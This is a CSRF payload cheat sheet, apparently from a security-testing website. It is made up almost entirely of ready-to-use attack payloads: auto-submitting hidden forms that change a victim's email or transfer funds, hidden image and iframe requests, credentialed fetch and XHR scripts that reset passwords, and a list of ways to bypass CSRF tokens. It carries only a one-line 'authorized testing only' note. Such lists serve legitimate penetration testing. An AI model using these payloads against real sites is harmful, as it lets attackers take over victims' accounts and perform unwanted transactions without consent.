# CSRF Cheat Sheet

> Cross-Site Request Forgery proof-of-concept payloads for auto-submitting forms, XHR, fetch, and JSON CSRF.

Source: https://payloadplayground.com/cheatsheets/csrf

For authorized security testing only.

## Auto-Submit Forms

- `<form action="https://TARGET/change-email" method="POST"><input type="hidden" name="email" value="attacker@evil.com"/></form><script>document.forms[0].submit();</script>` — Auto-submit hidden form
- `<form action="https://TARGET/transfer" method="POST" enctype="text/plain"><input name='{"amount":1000,"to":"attacker","ignore":"'value='"}'/></form><script>document.forms[0].submit();</script>` — JSON body via form enctype trick
- `<img src="https://TARGET/delete?id=1" style="display:none">` — GET-based CSRF via image tag
- `<iframe src="https://TARGET/action?param=value" style="display:none"></iframe>` — GET-based CSRF via iframe

## XHR / Fetch CSRF

- `<script>fetch("https://TARGET/api/change-password",{method:"POST",credentials:"include",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:"password=hacked"})</script>` — Fetch API CSRF with credentials
- `<script>var x=new XMLHttpRequest();x.open("POST","https://TARGET/api/action");x.withCredentials=true;x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");x.send("param=value");</script>` — XHR CSRF with credentials
- `<script>fetch("https://TARGET/api/action",{method:"POST",credentials:"include",headers:{"Content-Type":"application/json"},body:JSON.stringify({key:"value"})})</script>` — JSON CSRF via fetch (needs permissive CORS)

## Token Bypass

- `Remove CSRF token parameter entirely` — Test if token is actually validated
- `Use empty string as CSRF token value` — Test for empty token acceptance
- `Swap CSRF token from another session` — Test if token is tied to session
- `Change POST to GET and move params to query string` — Method override bypass
- `Change Content-Type to text/plain or multipart/form-data` — Content-Type bypass (avoids preflight)
- `Use same CSRF token value twice` — Test for token reuse / non-rotation

## Related

- [CSRF generator](https://payloadplayground.com/generators/csrf)
- [CORS Misconfiguration generator](https://payloadplayground.com/generators/cors-misconfiguration)
- [XSS Payloads & Filter Bypass — Cheat Sheet](https://payloadplayground.com/cheatsheets/xss.md)
- [CORS Misconfiguration Cheat Sheet](https://payloadplayground.com/cheatsheets/cors.md)
